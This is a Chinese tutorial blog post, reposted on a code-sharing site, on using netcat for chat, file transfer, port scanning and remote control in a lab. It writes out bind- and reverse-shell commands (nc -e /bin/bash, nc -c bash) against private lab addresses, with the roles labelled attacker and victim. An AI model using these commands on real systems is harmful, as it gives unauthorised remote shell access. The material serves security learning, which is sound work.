ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

图文介绍——NC使用笔记

2021-01-20 16:29:04  阅读:548  来源: 互联网

标签:nc 192.168 NC 端口 333 笔记 netcat bash 图文


NC

在这里插入图片描述

简介

Netcat 简称为nc,中文名网猫,被誉为网络工具中的瑞士军刀。具备以下功能:

  • 侦听模式/传输模式
  • telnet/获取 banner信息(当作telent工具使用,甚至更好用)
  • 传输文本信息(可以作为聊天工具)
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马(一般来说,不会被查杀)
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘(一般用作电子取证)

nc 有很多变种。不同的变种,会在原有 nc 的基础上增加一些新功能。比较流行的变种之一是OpenBSD 社区的变种(也叫“OpenBSD netcat”或“netcat-openbsd”),这是由 OpenBSD 社区重写的 netcat,主要增加了对“IPv6、proxy、Unix sockets”等功能的支持。很多主流 Linux 发行版的官方软件仓库已包含这个变种(比如说:Debian 家族、Arch 家族、openSUSE 家族、Gentoo 家族……)。

nc - h的输出中,如果第一行包含 OpenBSD 这个单词,就说明当前 nc 是 OpenBSD 变种。

netcat-traditional
这个是最早的版本,最新版本是2007年1月,版本是1.10,Kali Linux默认带的就是这个版本:
这个版本的nc具有-e选项,十分方便反弹shell使用

root@kali-linux:~# nc -h
[v1.10-41.1]

netcat-openbsd
ubuntu里默认的nc命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有-e选项。所以我们得手动替换一下nc的版本:

# 安装传统的netcat
$ sudo apt-get install netcat
# 切换版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密码: 
有 2 个候选项可用于替换 nc (提供 /bin/nc)。
  选择       路径               优先级  状态
------------------------------------------------------------
  0            /bin/nc.openbsd       50        自动模式
  1            /bin/nc.openbsd       50        手动模式
* 2            /bin/nc.traditional   10        手动模式
要维持当前值[*]请按<回车键>,或者键入选择的编号:2

选项

nc的命令是可以合写的,命令行选项的【合写】形式

nc -l -p 12345 -v
nc -l -p -v 12345
nc -lp 12345 -v
nc -lv -p 12345
nc -lvp 12345

所有上面这些命令都是【等价】的。只要注意,-p参数是一个需要带选项值的命令行选项,而-v、-l参数则不需要带选项值。所以端口值一定要写在-p后面
在这里插入图片描述

补充:
使用nc时一般会加上-n,因为nc自己去解析域名可能会比较慢,所以自己去通过ping或者别的方式获得域名对应的ip之后,再用nc。windows的下载地址http://nmap.org/dist/ncat-portable-5.59BETA1.zip

不同操作系统,或者说不同nc版本之间支持的功能不尽相同,但是总可以通过别的方式曲线救国。

案例

这里介绍一些常用的

telnet/获取 banner信息

在这里插入图片描述

传输文本信息

聊天

A:nc -l -p 4444
B:nc -nv 1.1.1.1 4444
解释:A使用-l参数告诉nc在本地去打开一个端口,监听它,使用-p告诉nc打开的端口号。于是,nc在本地打开了一个4444端口等着有人来连接自己,这里A就是类似服务端了。

B去连接某ip的某端口,不做域名解析,显示详细连接过程。这里B类似客户端。
在这里插入图片描述

信息传递

CentOS把自己的ls结果传递到kali上面。
在这里插入图片描述

这里有了一个问题,假如CentOS使用了ps aux查看进程,或者使用了nmap出现大量信息,那kali的阅读体验会非常差劲,可以在kali上使用重定向来解决
在这里插入图片描述

再进一步优化,使用-q参数,让上面的内容完成传输之后的1秒,大家就断开连接。由于CentOS上的nc不支持-q参数,这里让kali作为服务端,Cent作为客户端
在这里插入图片描述

传输文件/目录

下面的箭头可能会让人觉得非常混乱,尤其是两种方式对比的时候。如何理解这些左右箭头?我是这样记忆的,作为发送端,是要把文件通过本地监听的端口发送出去,所以发送端的箭头是<,那么接收端就是>
传输文件
接收端 A:nc -lp 333 > 1.mp4
发送端 B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1
在这里插入图片描述

或者
发送端 A:nc -q 1 -lp 333 < 1.mp4
接收端 B:nc -nv 1.1.1.1 333 > 1.mp4
在这里插入图片描述

传输目录
发送端A:tar -cvf - 文件夹/ | nc -lp 333 -q 1
接收端B:nc -nv 1.1.1.1 333 | tar -xvf -
在这里插入图片描述

端口扫描

很多扫描器都能做端口扫描,但是准确性就不一定了。一般来说,nmap的扫描结果较好,nc的仅供参考。
在kali上使用 nc -nvz 192.168.40.133 1-65535去探测Metasploitable的1-65535端口,-z参数就是端口探测,默认使用TCP连接,可以通过抓包看到细节。

可以看到,nc的端口扫描是从大到小,一旦能建立起三次握手,就发送FIN+ACK断开连接,然后扫描下一个端口
在这里插入图片描述

在这里插入图片描述

那么,nc也可以使用UDP的方式做端口扫描,就是加一个u,nc -nvzu 192.168.40.133 1-65535
在这里插入图片描述

控制对方

如果感觉下面的例子有些费神,你就看谁给了bash,谁把bash交出去,谁就是被控制的
(监听端口等着别人连自己的交服务器端,主动连接别人的是客户端)

正向控制

客户端A 【控制端】 :nc -nv ip 333
服务器端B【被控制端】:nc -lp 333 -c bash
上面的命令挺类似于使用nc聊天的命令,所不同的是服务器端加了一个-c bash,命令的意思是一旦有人来连接自己,就把自己的一个bash传给对方,如果是windows的话,把bash换成cmd就行了
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

反向控制

客户端A 【被控制端】:nc –nv 192.168.40.150 333 -c bash
服务器端B【控制端】 :nc -lp 333
在这里插入图片描述

nc反弹shell

需要目标主机安装了nc

攻击者:nc -lvp 4566

受害者:nc -e /bin/bash 192.168.239.128 4566

在这里插入图片描述

攻击者:nc -lvp 4444

受害者:nc -e /bin/sh 192.168.239.128 4444

在这里插入图片描述

原理

nc -e /bin/bash 192.168.239.128 4566

-e prog 程序重定向,一旦连接,就执行

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

其他:
注意之前使用nc监听端口反弹shell时都会有一个警告:192.168.239.130: inverse host lookup failed: Unknown host根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。
在这里插入图片描述


安全性

nc缺乏加密和身份验证的能力。
当我在物理机(类似中间人了)通过抓包可以看到,nc是明文传输的,再者,控制对方的时候没有身份验证,安全性存在隐患
在这里插入图片描述

解决办法是可以使用Ncat,Ncat包含于nmap工具包中,实现数据加密传输。
kali和Cent没有这个玩意,这里我手动安装一下

sudo apt-get install ncat	#kali
yum install nmap-ncat -y	#Cent

在这里插入图片描述

客户端 【控制端】:ncat -nv 192.168.40.150 333 --ssl
服务器端【被控制端】:ncat -c bash --allow 192.168.40.146 -vnl 333 --ssl
还是那一套,只不过这里使用了一个加密的管道ssl,然后使用了白名单机制,只允许192.168.40.146来连接我
在这里插入图片描述

在物理机上(类似中间人)抓包,抓到的是密文
在这里插入图片描述

假设这个时候,win7想过来连接Cent,会发现他是连接不上的。
在这里插入图片描述

补充,windows是不需要额外下载的,通过上面的提供的地址http://nmap.org/dist/ncat-portable-5.59BETA1.zip下载nc之后,就能使用ncat,不需要额外下载

标签:nc,192.168,NC,端口,333,笔记,netcat,bash,图文
来源: https://blog.csdn.net/weixin_44288604/article/details/112888661

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有